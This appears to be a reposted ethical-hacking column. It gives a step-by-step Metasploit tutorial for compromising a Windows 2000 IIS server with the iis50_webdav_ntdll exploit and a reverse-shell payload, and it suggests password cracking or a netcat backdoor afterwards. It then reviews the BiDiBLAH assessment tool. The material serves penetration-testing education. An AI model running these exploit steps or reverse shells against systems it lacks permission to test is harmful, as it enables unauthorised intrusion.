How tough is it to really compromise a system? As an ethical hacking instructor, that is a question that I get asked quite frequently. My usual response to this type of question is to encourage the questioner to try to compromise a system, which they own, to find out the time and skill necessary to compromise a system. There is real value in getting a true sense of what it really takes to actually defeat common security measures. This provides first hand experience that cannot really be duplicated from listening to an industry expert or from reading articles and books. The main reason for this is that there is a lot of misinformation, some intentional and some not, available. The easiest way to determine just how difficult something like compromising systems or defeating wireless encryption is – is to try it for yourself.
Most security professionals are aware attacking and penetrating network devices is getting easier and attack sophistication is getting more complex. In large part this phenomenon is due to the old adage of "standing on the shoulders of giants." Many system researchers have uncovered the security weakness is common system design years ago, and as security professionals they shared the information. This allows someone with little understanding of system architecture to be able to perform more complex attacks than ever though possible.
For a security professional it is possible to compromise a system without spending months learning a programming language and years learning system architecture. We can actually use technology to assist in performing penetration system penetration. Products like Core Security's Core Impact and Immunity's Canvas products (See post: Hacking with Exploit Frameworks) have been providing this type of functionality for a few years now. These manufacturers do not just provide the technology, but they also provide training and support of their products to allow a qualified professional to perform a more methodological penetration test. It makes the task of compromising a system easier for a security administrator.
The previously mentioned utilities are both fee based products, but more recently an open source product has become a common sight in penetration testing kits. This utility is called Metasploit™. Both Windows and Linux users can take advantage of the Metasploit™ product to perform a penetration test or system compromise. The utility itself is written in many programming languages including perl, C, and assembler.
This environment provides many ready to use exploits and also allows for the security tester to customize them or to create their own exploit. The basic process for using the Metasploit™ console is not the most intuitive, but I think this was done to discourage the least skilled script kiddies from attempting to penetrate the system using this specific utility. The basic format for exploiting the system is as follows:
1. Pick which exploit to use
2. Configure the exploit with remote IP address and remote port number
3. Pick a payload
4. Configure the payload with local IP address and local port number
5. Execute the exploit
While this process is much more difficult to do than just a "point and click" utility, it should not take more than an hour or so to get a good feel for the overall process. Perhaps the easiest mechanism for using the Metasploit™ utility is to take advantage of a bootable "Live CD" such as Whoppix or Auditor.
Many experts believe that understanding how to compromise a system is knowledge that should not be shared and utilities such as Metasploit™, Canvas, and Core Impact make it easier for systems to be compromised or exploit code to be developed. To a certain point it can not be argued that these utilities make the process easier, but there has not been a major increase in the amount of exploit code available since the release of these tools. Also remember that the security hole is not in the fact that exploit code exists that allows an attacker to penetrate a system – the hole is in the fact that the underlying vulnerability exists in the first place.
It is also worthy of note that most system attackers already have the necessary knowledge of how to compromise systems or how to develop exploit code. These utilities give the security administrator the opportunity to test their own systems for security weaknesses before an attacker discovers this and in a way this begins to level the playing field for the security administration staff. In fact these types of utilities may eventually become common practice for system developers to use while writing the application and this may stop the vulnerability from ever being published in the first place.
I encourage you to find some time to sit down and download a "Live CD" distribution, fire it up, and check out one of the utilities mentioned above. So that if someone ever mentions the difficulty involved in compromising a system you will know exactly what it really takes.
Example of Using Metasploit™
The goal of the exercise below is to become familiar with the Metasploit™ framework and to perform a compromise of a Windows 2000 system. These steps can be done easily from most popular bootable CD Linux distributions. The steps below are for use with the Whoppix/Whax distro (http://ftp.belnet.be/linux/whoppix/). I understand that some people prefer the web interface for using Metasploit™, but from our extensive testing we have found the good old command line to be more reliable.
To begin, boot to your CD and pull up a shell window. From there you will need to move to the Metasploit™ directory. To do this from a command prompt type:
cd /KNOPPIX/pentest/exploits/framework-2.3/
Launch the Metasploit™ console. To do this, from a command line type the following:
# " ./msfconsole "
Pick which exploit to use
Once the msfconsole is running, it is time to decide which exploit to attempt against the target system. Your options here stub from the following commands:
* <!--[if !supportLists]-->use
* <!--[if !supportLists]-->show
* <!--[if !supportLists]--><!--[endif]-->info
The use command will tell the utility exactly which exploit to select. The show command will do nothing on its own, but can be combined with exploits or payloads as shown in the examples below. The info command provides details about a specific module.
Start by entering "show exploits" to see the list of exploits available. Pretty impressive, huh? Many of the exploits listed here are going to work against the target servers and in fact we use many of these exploits in the ethical hacking course.
If you need some hints, I recommend starting with the "iis50_webdav_ntdll" exploit.
To actually start the exploit type "use iis50_webdav_ntdll"
After use – configure options
We’ve selected our exploit, but we are not done yet. We need to set options. These options include the destination IP and the destination port. The options are configured by using the set command. The show advanced command will let you know if there are more options that can be set. Most exploits do not have advanced options.
Start by typing "show options"
This will show you the command requirements to run the exploit.
These include the RHOST (This is the host that we are going to compromise) and the RPORT (this is the port that the vulnerable function is running on)
To set these options type "set RHOST <your partner machines IP address>" and press enter. On the next line type "set RPORT 80"
Is the exploit going to work?
We have a system, we have an exploit. Are we going to be able to compromise the system? Now is the time to find out.
To perform the check type "check ".
This may not work on all exploits. This will see if the server or target appears vulnerable.
For some exploits you might have to provide information about what type of system to compromise. With the attack listed above this is not necessary. If you want to know why this is important sign-up for the ethical hacking courses. Here are steps if you use an exploit that requires you to select a target.
If your check is unsuccessful, you may need to select some additional options about the target that you are hoping to compromise. This usually includes a description of the OS and the service pack level of the system. In some modules there is a brute force option. What is being configured here is the memory offset that the utility will use to find the vulnerable function. The brute force option will try many memory offsets, but the result will be a lot less stealthy if you are unsuccessful. If you enter "show targets" you should see something like the below.
msf iis50_webdav_ntdll > show targets
Supported Exploit Targets
=========================
0 Windows 2000 Bruteforce
What do we want a successful attack to do?
What Metasploit™ calls a payload, many others refer to as shell code or opcode. This is the code that we wish to have inserted directly into the buffer that we are overflowing. In most cases the shell code is going to be service pack dependant, OS dependant, and architecture (i386) dependant as well. This means that most of the payloads in the Metasploit™ framework will work for only certain OS’s and on certain processors. Even if you select an appropriate payload you will have to configure options to get the payload to work. The most frequently used type of shell code is code that generates a reverse shell from the compromised system back to the attacking system. Using the stubs mentioned before in the exploits section also apply to the payloads section. If you type "show payloads" you should see a response like the below .
msf iis50_webdav_ntdll > show payloads
Metasploit™ Framework Usable Payloads
====================================
win32_bind Windows Bind Shell
win32_bind_dllinject Windows Bind DLL Inject
win32_bind_meterpreter Windows Bind Meterpreter DLL Inject
win32_bind_stg Windows Staged Bind Shell
win32_bind_stg_upexec Windows Staged Bind Upload/Execute
win32_bind_vncinject Windows Bind VNC Server DLL Inject
win32_exec Windows Execute Command
win32_reverse Windows Reverse Shell
win32_reverse_dllinject Windows Reverse DLL Inject
win32_reverse_meterpreter Windows Reverse Meterpreter DLL Inject
win32_reverse_stg Windows Staged Reverse Shell
win32_reverse_stg_upexec Windows Staged Reverse Upload/Execute
win32_reverse_vncinject Windows Reverse VNC Server Inject
In this case the best shell to try will be the win32_reverse payload. To do this type "set PAYLOAD win32_reverse"
This payload requires some options. These include the exit function, the local host and the local port.
To see these options type "show options" you should see something like the below:
msf iis50_webdav_ntdll(win32_reverse) > show options
Exploit and Payload Options
===========================
Exploit: Name Default Description
-------- ------ ----------- ------------------
optional SSL Use SSL
required RHOST 67.36.70.19 The target address
required RPORT 80 The target port
Payload: Name Default Description
-------- -------- ------- ------------------------------------------
required EXITFUNC seh Exit technique: "process", "thread", "seh"
required LHOST Local address to receive connection
required LPORT 4321 Local port to receive connection
Target: Windows 2000 Bruteforce
To set the missing options, we will use the set command like above. Before we can set these values we need to know what they are. To find your local IP address open another shell window, by either right clicking on the desktop or (if your CD has this option) look for the computer icon in the program bar. If you right click on the desktop look for the shell option. If you do this step right you should see a new shell box (kinda sorta like a DOS command prompt box on XP) appear.
Once you have the box open type "ifconfig". This will show the information for all of the interfaces for you linux system. This is the equivalent of the ipconfig command in Windows. You should see something like the following:
[root@localhost ~]# ifconfig
eth0 Link encap:Ethernet HWaddr 00:03:25:13:43:F2
inet addr:10.5.14.173 Bcast:10.5.15.255 Mask:255.255.252.0
inet6 addr: fe80::203:25ff:fe13:43f2/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:4563 errors:0 dropped:0 overruns:0 frame:0
TX packets:2905 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:3696580 (3.5 MiB) TX bytes:325618 (317.9 KiB)
Interrupt:193 Base address:0x4c00
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:213 errors:0 dropped:0 overruns:0 frame:0
TX packets:213 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:49707 (48.5 KiB) TX bytes:49707 (48.5 KiB)
What we are interested in, is the value for the eth0 (or whatever is active on your system it could be eth1 or some other interface), but you should see the value inet addr: and your IP address listed next to this. In the example above the IP address is 10.5.14.173. If you look closely you'll see that it is there. GO ahead and look – no one will laugh I promise.
Once we know this value we will set it with the set command. To do this type "set LHOST <your IP address>". This is all that really needs to be set, but for luck I always make one more change – I set the local port to 5555. This is just for superstition. I'm not going to give you exact instructions on how to do this, but if you can figure it out – be my guest and change it.
This payload with this exploit had no advanced options, but to check for other exploits type "show advanced". You should see something like the below.
msf iis50_webdav_ntdll(win32_reverse) > show advanced
Exploit and Payload Options
===========================
Exploit (Msf::Exploit::iis50_webdav_ntdll):
-------------------------------------------
Payload (Msf::Payload::win32_reverse):
--------------------------------------
Making it all happen
Now is the time to see the fruits of your labor. This next phase will actually compromise the system if you have done everything correctly and the system is vulnerable. If all goes well you will own the box.
To do this type "exploit"
Once you launch the exploit it may take some time. The exploit is trying to brute force the memory offset for the vulnerable function. If you don't know what this means and want to learn – see the ethical hacking class as listed above.
If you've done everything right you should see something like the below.
[*] Starting Reverse Handler.
[*] Connecting to web server. OK
[*] Trying return address 0x004e004f...
[*] Sending request (65739 bytes)
[*] Connecting to web server. OK
[*] Trying return address 0x00420041...
[*] Sending request (65739 bytes)
[*] Connecting to web server. OK
[*] Trying return address 0x00430041...
[*] Sending request (65739 bytes)
[*] Connecting to web server. OK
[*] Trying return address 0x00c10041...
[*] Sending request (65739 bytes)
[*] Connecting to web server. OK
[*] Trying return address 0x00c30041...
[*] Sending request (65739 bytes)
[*] Connecting to web server. OK
[*] Trying return address 0x00c90041...
[*] Sending request (65739 bytes)
If you are successful you'll have a remote connection into the target machine and can do whatever you want. Once you've done this and received the prompt for the other system you "own the box". I won't tell you what to do next, after all where is the fun in that. Don't trash the system too bad if you want to exploit it again. You might want to try to crack the passwords– or you can create your own netcat backdoor.
Metasploit™ – available from
http://www.Metasploit™.comIt is not essential that the user boot a linux CD. To try out the framework on a Windows system, The Metasploit Project does provide a Windows installer on their web site.
If you did not get a chance to go to the Black Hat/Defcon conference this year you have probably not heard of BiDiBLAH yet. BiDiBLAH is a new pseudo utility from the folks at SensePost (http://www.sensepost.com). For quite some time now the talented developers of SensePost have been involved in the Google Hacking community and they have released a number of scripts/utilities that very handy for trolling for information from Google.
BiDiBLAH is the latest release from the SensePost group and it takes a major step forward from the scripting of Google searches. The BiDiBLAH utility is a framework that can be used to assist in automating the vulnerability assessment/ethical hacking process. BiDiBLAH is a Windows® based utility that allows starting the testing process to be point and click easy. The BiDiBLAH utility does not try to recreate already well known, used, and supported open source vulnerability applications; rather BiDiBLAH uses the existing ethical hacking/vulnerability assessment tools – these include both Nessus (http://www.nessus.org) and MetaSploit (http://www.metasploit.com). As well as the existing Google Hacking scripts from SensePost.
As of this writing the full version of BiDiBLAH is not currently for sale, but the version that is available is fully functional with two exceptions:
1. The scan time is limited to one hour
2. The save data feature has been disabled
The Installation
Getting BiDiBLAH running is not a trivial task. The primary installation of the utility is straight forward and runs in the install.exe format. Once the installation of the BiDiBLAH utility is complete you will need to make some changes to your operating system to allow the utility to function. The first step is to load a raw packet driver that will allow the BiDiBLAH utility to send the packets necessary for port scanning and banner grabbing. When you have completed this step you network card configuration should have the added protocol like the example below.
Figure 1 – BiDiBLAH Raw Packet Driver Installation
The next step is to disable the Windows® firewall and any other Personal Firewall software that you may have running on your target system. Just disabling the personal firewall is not enough, because the BiDiBLAH utility need to still block incoming RST (reset) packets. The recommendation from the SensePost group is to install the free personal windows firewall – wipfw available from
http://sourceforge.net/projects/wipfw. I was truly amazed at the functionality of wipfw. It allows more granular filtering than most commercial personal firewalls, but the discussion of this utility will be in another article. All that is needed for purposes of BiDiBLAH is to create one rule as mentioned before to block the RST packets. This can be done from the command line by issuing the following command:
ipfw add 00100 deny TCP from any to any tcpflags rst
Or through the new wipfw GUI like the figure below:
http://www.ethicalhacker.net/images/stories/columns/jpeltier/Dec05/2.jpgOnce you have the new rule added you can check the config by running:
Ipfw list
From the command line. This completes the installation of BiDiBLAH. The next step is to configure BiDiBLAH to run the security checks that you want it to.
The Configuration
To configure BiDiBLAH double click on the icon and you should see a pop-up message like this:
As of this writing the pay version has not been released. Simply click on OK to go to the interface. The interface has many tabs across the top that are used for the configuration. To configure you copy of BiDiBLAH change the options in the following tabs:
1. At the Subdomain tab:
*
Enter your Google API key (You can get a key at api.google.com)
*
The Google depth (in multiples of 10) sets how many queries should be returned
*
The Google keywords are words that BidiBLAH use to combine with queries
2. At Forwards tab:
*
Select where your BFDNS files are. The application will look for any file that ends with a .bfdns extension and add its content to the list of names that will be used for brute force.
*
The test depth sets how deep within each file the application will test before assuming a naming scheme
*
If you want to test all the entries you can check the override checkbox
3. At Portscan tab:
*
Enter the source IP where QAlive will send packets from. If this is not your IP address, packets will be spoofed from the address that you selected. This could be useful when you are running a tcpdump somewhere else…
*
Enter your source mac address – you can get it doing an ipconfig /all in a DOS window
*
Enter the destination mac address. Because we haven’t implemented ARP you need to set this up manually. Most of the time it isn’t a big deal though – you will probably be scanning machines on the other side of your default gateway. That makes the destination mac address that of your default gateway. You can get this easily by looking at your ARP table. Do an “arp –a” in a DOS window. If you are scanning locally…sorry (or you can hook a router between you and your local net.
*
Load the port list file – this is a single text file containing the ranges of ports you wish to see as a drop down list (in QAlive).
4. At Nessus tab:
*
Select the Nessus server (IP or DNS name), Nessus username and password
*
Select where the application should find the PLG files (Nessus plugin selection file). This will appear in the plugin set drop down list in the Nessus section.
5. At MetaSploit tab:
*
Enter the location of Metasploit framework’s web interface
*
Enter the location of your local MSF home – this is used when configuring your exploits
*
If your exploits are already configured you can save the config strings in file and load it
*
You should also load the MetaSploit 2 Nessus text file. This matches Nessus plugins to MetaSploit exploits
*
The PERL interpreter used for Metasploit needs to be set
*
You can test your Metasploit setup by clicking “load exploits” in the MetaSploit tab – you should see a list of exploits. Double clicking on the exploit brings up the exploit configuration screen.
6. When you are done configuring:
*
Click on the SAVE button in the “Config Load/Save” section – next time you start BiDiBLAH you can now just click on the blue LOAD button and you don’t have to go through the whole mission again.
7. Loading and saving configurations:
*
Choose the “Load Config” tab to load a sample configuration file located in c:\bidiblah\config (if you chose defaults). The location of the BFDNS files, a default set of ports in the portlist file as well as the IP2C DB should be configured correctly. If you installed the application in a different location you need to configure these manually.
*
At any stage you can save the configuration (and load it later again).
Note: Much of the above was taken from the Quick Start guide
Running BiDiBLAH
Now that the configuration is done it is time to use the utility. The first step that I couldn’t find documented anywhere and it was also a little non-intuitive is to create a file that contains your target domain name. In this case I simply opened notepad and created a file the contained the domain that I was interested in searching on: pelttech.com. I loaded this file in the subdomain tab by clicking on the Import (file) button and browsing over to the newly created file.
The search on my domain was far from interesting as you can see below:
By then again the domain that I choose was mine and it is pretty small. So I changed my search and added Microsoft.com – I’ll share these results later. Following up on using pelttech.com for the search string I moved to the forward tab. The first step that was necessary here was to import the data from the subdomains tab. This was done by clicking on the Import (app) button. It automatically moved the data from the Sub-domains search into the Forward application.
The results and function of the Forward part of the utility was pretty disappointing. It appears like the utility is trying to gather more information about the target through DNS information mining, but this is just done at a very high level and not nearly to the depth that I would perform in a manual test. The ethereal packet capture below shows the check performed by BiDiBLAH. For reference the machine I was using had the primary DNS server set to the 4.2.2.1 IP address.
The search would have been more effective if the primary query requested the SOA (Start Of Authority) record first and all NS (Nameservers) second. Then followed the responses of these two queries by setting the server first to the SOA result and then to the secondary NS results. In the case above the MX (Mail Exchanger) and the NS are queried by the subsequent queries appear to still continue with using 4.2.2.1 for the DNS server.
Once the Forward search is done the next set of tests appear under the Netblocks tab. This tab was once again a little non-intuitive and the documentation was lacking. To import the information from the Forwards section click on the import (app) button just as on the Forwards section. In the case of my domain it warned that the utility was assuming a class “C” block of IP addresses because it could not find more information. Once you have loaded in your block it is necessary to double click on the netblock itself in the far right pane. This will load the data into the Forwards in the block section. From here there is a button to perform a whois search on the IP block. This left me with a screen that looked like the following:
From here I was stumped for what to do next. I was now about one hour into the BiDiBLAH experience and I had to restart the demo version of the software. The next set of tools was called Reverse. Once again data was imported from the previous section by using the import(app) button. From here a start button was all that was needed to start the next wave of checks. This set of tests was useful, but could be improved with a bit of modification. The ethereal packet capture below shows the types of queries that the utility was sending:
As you can see above the utility was performing RDNS requests. I was happy to see this because it is a slow and time consuming process to do this by hand, but just as the previous DNS – Forward section the utility uses my client’s configure primary DNS server and not the SOA or other nameserver associated with the target domain. Notice in the packet capture that the queries are directed to the 4.2.2.1 IP address again.
This lead to no reverse DNS information being returned to the BiDiBLAH utility. The finished result looked the figure below:
On the next tab – Port Scanner – you need to make sure that in your setup you put in your IP address, your MAC address, and a destination MAC address. Then click on the Bind Adapter button and select your adapter from the drop down list. If you miss any of these steps you will see the following message:
Once you have the adapter issues worked out you can use the drop down list below the adapter to set the ports that you would like to scan. As you can see from the packet capture below the utility sends a SYN packet to the ports selected in sequential order.
Randomizing the selected ports and allowing for other port scan types would be useful here or the ability to use nmap for the scanning like Nessus does. Also the scanner missed a few open ports (I am not sure why and did not have the time to investigate). Here is the final output from the port scan.
n the banners section I had to create another text file with the IP addresses of my servers to see if I could continue with the utility. By using just notepad again I inserted a few IPs of live systems to see if BiDiBLAH could grab the banners. Once again I have no idea why this is the case, but the queries looked strange while looking at them through ethereal. Here is what I saw:
I found these queries odd because here is the list of IPs that I fed to the utility as an input:
I did not see them appear anywhere in the packet capture (shown above).
In the next section (targeting) the top IP address – 72.41.28.76 did appear as a potential target. I selected this target and then moved to the following section Nessus. The Nessus scan through the import(app)button loads in the IP address as a correct Nessus target. From the plugins drop down menu there are a few plugins sets that can be selected. The information about the plugins sets seems to be lacking (my best guess is the .nessusrc file can be copied over) but that is just a guess. In some documentation that I found there were options on this screen to configure the nessus plugins set. However on my version these options are missing. This set of tests actually ran quite well. I had the nessus server installed on a RedHat 9 VMWare image running on my current machine. The BiDiBLAH utility was able to log into the nessus server and run the tests without any difficulty. I was impressed with how well done this is. Just as before the port scan did not return a result and so my scanning ended here, as the next set of utilities was Metasploit and I could not run Metasploit without nessus finding an open port. At this point I created a new target on my local system and began the testing from the port scanning section.
The last section the Metasploit section looked promising. The meta2nessus feature seemed to be useful as it loaded the nessus checks and the corresponding Metasploit attack for the vulnerability. As I was running out of time I did not get a chance to continue testing the last two phases.
Summary
BiDiBLAH, as it is, is not quite ready for commercial companies to use with vulnerability assessment. However the functionality is pretty impressive for this early stage. The documentation needs to be a bit better and in large part that is what I think some of what this column actually is. Once these issues are ironed out BiDiBLAH can be a massive time saver for the regular security tester. As noted in the version that I was using to test, the DNS interrogation needs a bit of a tweak, but this can be fixed by changing the client’s IP configuration to use the SOA for the target as the primary DNS, and also the portscan check can miss open ports. In next month’s column we will revisit BiDiBLAH and see what we were able to find out with more time to test.
References:
BiDiBLAH Quick Start Guide – available from
http://www.sensepost.com/research/bidiblahSensePost Lecture at Black Hat – available from
http://blackhat.com/presentations/bh-usa-05/bh-us-05-sensepost.pdfWipfw – available from
http://wipfw.sourceforge.net/Nessus – available from
http://www.nessus.orgMetasploit – available from
http://www.metasploit.com 
Thu Mar 15, 2012 2:29 am by 
Subyek: Metasploit™ Tutorial - A New Day for System Exploits 
